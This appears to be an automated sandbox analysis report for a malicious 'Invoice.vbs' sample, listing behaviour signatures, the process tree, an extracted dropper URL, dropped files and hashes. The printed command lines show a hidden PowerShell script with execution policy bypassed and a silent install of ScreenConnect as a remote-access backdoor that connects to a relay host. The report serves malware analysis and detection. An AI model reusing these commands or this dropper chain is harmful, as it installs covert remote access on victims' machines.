Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/08/2026, 00:19

General

  • Target
    Invoice.vbs
  • Size 1KB
  • Sample260806-amd41avtft
  • SHA256 6837eaf9330e40992fb34ba8c20d9a5349729b12ca1f6d7c887baaf7c76a5ab3
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://mhfh.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 9 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 27 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:3760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -File "C:\Users\Admin\AppData\Local\Temp\OneDrive eSignature-install.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2060
      • C:\Windows\system32\msiexec.exe
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\OracleInstaller\OneDriverDC-Installer.ps1" /qn /norestart
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4980
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5108
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 8E668A37D3BA6D3CBED3C93E35DB5525
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1052
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIEB31.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240774281 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5540
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 64FAAAAF88B0601AB4620AB6F6ABA333 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:1708
  • C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-haf4lh-relay.screenconnect.com&p=443&s=fba429b0-db70-46c3-ab84-cffeb708a4a9&k=BgIAAACkAABSU0ExAAgAAAEAAQBhE2mTzhyW6iiwJ9g7NwRZgO%2fYCdoJX9Ia6M70CIH9bUypgTHV476wmouKizEYTCOABqAF%2fWQRPViwYkqE%2bNMvE7UAgArDQX%2f1VBEIKnYC%2fWDlGS%2f5Tjq30DtoyKlE6jxJOsKC0O9jffpG9az%2bKAEAeI%2fSlU1LkAiYWbyi1WfdhwSSIu2ROLaH4T%2f%2fO7LZuq91QieMmkaaYs%2fe1eMa0r8415LnPjAF56sdfsPAl3baAlEhc0ixl5McSblvJvsgYthtJdk1qfOY%2fIRt5%2fflNC%2bCRFC7JOL%2bR7Ona1NXYcLzzvy28pLAsbwASsbrFP834o4hLbmGCmm3wE%2bLVIyyPYi0"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2360
    • C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsClient.exe" "RunRole" "93d31ad7-baa0-4b0b-a1d0-99564bd0fc6b" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:5532
    • C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsClient.exe" "RunRole" "c1d0061b-30a7-4a09-ad3d-f8d2c0bb74db" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:1016

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e59c80c.rbs

        • Path C:\Config.Msi\e59c80c.rbs
        • Size 214KB
        • SHA256 d60e49090e8723bbea5a7022b22d19790467bf69e1967c197e2e6e68fffd853b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\Client.en-US.resources
        • Size 64KB
        • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\Client.resources
        • Size 6KB
        • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.Client.dll
        • Size 412KB
        • SHA256 8e5531c2b302f9c95ed32ac7481d3535b6d51147257d317686c07ea1a9cb8362
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.ClientService.dll
        • Size 92KB
        • SHA256 ed32fe0d924959020cbef0534a7ba612e94263ccc74837475f3b5a6a726acad0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 16b4c273a25526e7262716ebe9d46480962347191a034595f18be740d9ce1e17
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.Core.dll
        • Size 579KB
        • SHA256 f64cb7ab5f105c22348a22e02dd506ff45456884639fee0f322862112860af24
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 c50d6e8d93ed197dd0cfb647743b42a2a6a9289f6db04092f56cefd6d569663e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsClient.exe
        • Size 678KB
        • SHA256 2ad8f126461607aad3fa31a41f1f39bc74f471fd84191b43e205610db2c4cf09
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 4868b7997b9b4260be2df752a81a750388243cdbea37e4d82a9e0101cd29d0c7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\system.config
        • Size 976B
        • SHA256 e60dca026a500021d54241b5cb166ce0664e3117dc8a31c3685aef255f635249
        • MD5 SHA1 SHA512 TLSH

        OneDrive eSignature-install.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\OneDrive eSignature-install.ps1
        • Size 1KB
        • SHA256 8abb52a198a9a0feeae6f778c888f489ea2344c58beb9be7824dc182791f7020
        • MD5 SHA1 SHA512 TLSH

        OneDriverDC-Installer.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\OracleInstaller\OneDriverDC-Installer.ps1
        • Size 9.8MB
        • SHA256 d0dfd87e1566f5f6c926283e793f2212a06f9159aa7786574836b4fbbac48828
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIEB31.tmp

        • Path C:\Windows\Installer\MSIEB31.tmp
        • Size 1.1MB
        • SHA256 de867af8055f81b7691f12175deb4c4e7f3bf97130e51761ed02182b0496e16f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSIEB31.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSIEB31.tmp-\ScreenConnect.Core.dll
        • Size 569KB
        • SHA256 e92d94613443befebb55b08f80d10a2fdbfc58233e8dc95cfb4466fde12964f7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSIEB31.tmp-\ScreenConnect.InstallerActions.dll
        • Size 24KB
        • SHA256 d827d3575ca29f8a40ea5379c7df2b315fc72cbd93451de94e199740594b51bb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSIEB31.tmp-\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 320b89343e896a8d2ebf537861d800a9aca88245cc3b5616bb5bea5cc6797fbb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIF276.tmp

        • Path C:\Windows\Installer\MSIF276.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2ckm0i35.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4295bac665fafdeb)\2ckm0i35.newcfg
        • Size 683B
        • SHA256 ce5761d17277347ce251c363c23152b751e63de22739025e5e9a7abf4937df98
        • MD5 SHA1 SHA512 TLSH

        aunqlmo3.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4295bac665fafdeb)\aunqlmo3.newcfg
        • Size 883B
        • SHA256 377076f829b06d190176581f946a6c5c01bf51dcb2fc464ada83bc098570750a
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4295bac665fafdeb)\user.config
        • Size 520B
        • SHA256 2acbe74e09632c104c40cecddf77097e2ee717a888e100d2cbfcb7ee824bf665
        • MD5 SHA1 SHA512 TLSH

        memory/2060-18-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-6-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-4-0x000002847E9D0000-0x000002847E9F2000-memory.dmp

        memory/2060-5-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-7-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-8-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-19-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-9-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-1-0x00007FFCF573F000-0x00007FFCF5740000-memory.dmp

        memory/2060-17-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-11-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-138-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-16-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-15-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-137-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-14-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-13-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2060-12-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp

        memory/2360-143-0x0000000004F60000-0x0000000005036000-memory.dmp

        memory/2360-116-0x00000000049C0000-0x0000000004A10000-memory.dmp

        memory/2360-103-0x0000000004B20000-0x0000000004CD0000-memory.dmp

        memory/2360-99-0x0000000004850000-0x00000000048E4000-memory.dmp

        memory/2360-139-0x0000000004D70000-0x0000000004E02000-memory.dmp

        memory/2360-141-0x0000000004A10000-0x0000000004A51000-memory.dmp

        memory/2360-136-0x0000000004A80000-0x0000000004AEC000-memory.dmp

        memory/2360-93-0x0000000004790000-0x00000000047AA000-memory.dmp

        memory/5532-164-0x000000001B830000-0x000000001B8C4000-memory.dmp

        memory/5532-167-0x000000001BDC0000-0x000000001BF48000-memory.dmp

        memory/5532-166-0x000000001B3D0000-0x000000001B3EA000-memory.dmp

        memory/5532-165-0x000000001BA80000-0x000000001BC30000-memory.dmp

        memory/5532-161-0x00000000007C0000-0x000000000086E000-memory.dmp

        memory/5532-162-0x000000001B420000-0x000000001B48C000-memory.dmp

        memory/5540-43-0x0000000003DA0000-0x0000000003DCE000-memory.dmp

        memory/5540-55-0x0000000006170000-0x0000000006320000-memory.dmp

        memory/5540-56-0x00000000068E0000-0x0000000006E9A000-memory.dmp

        memory/5540-51-0x0000000005F20000-0x0000000005FB4000-memory.dmp

        memory/5540-47-0x0000000003DE0000-0x0000000003DEC000-memory.dmp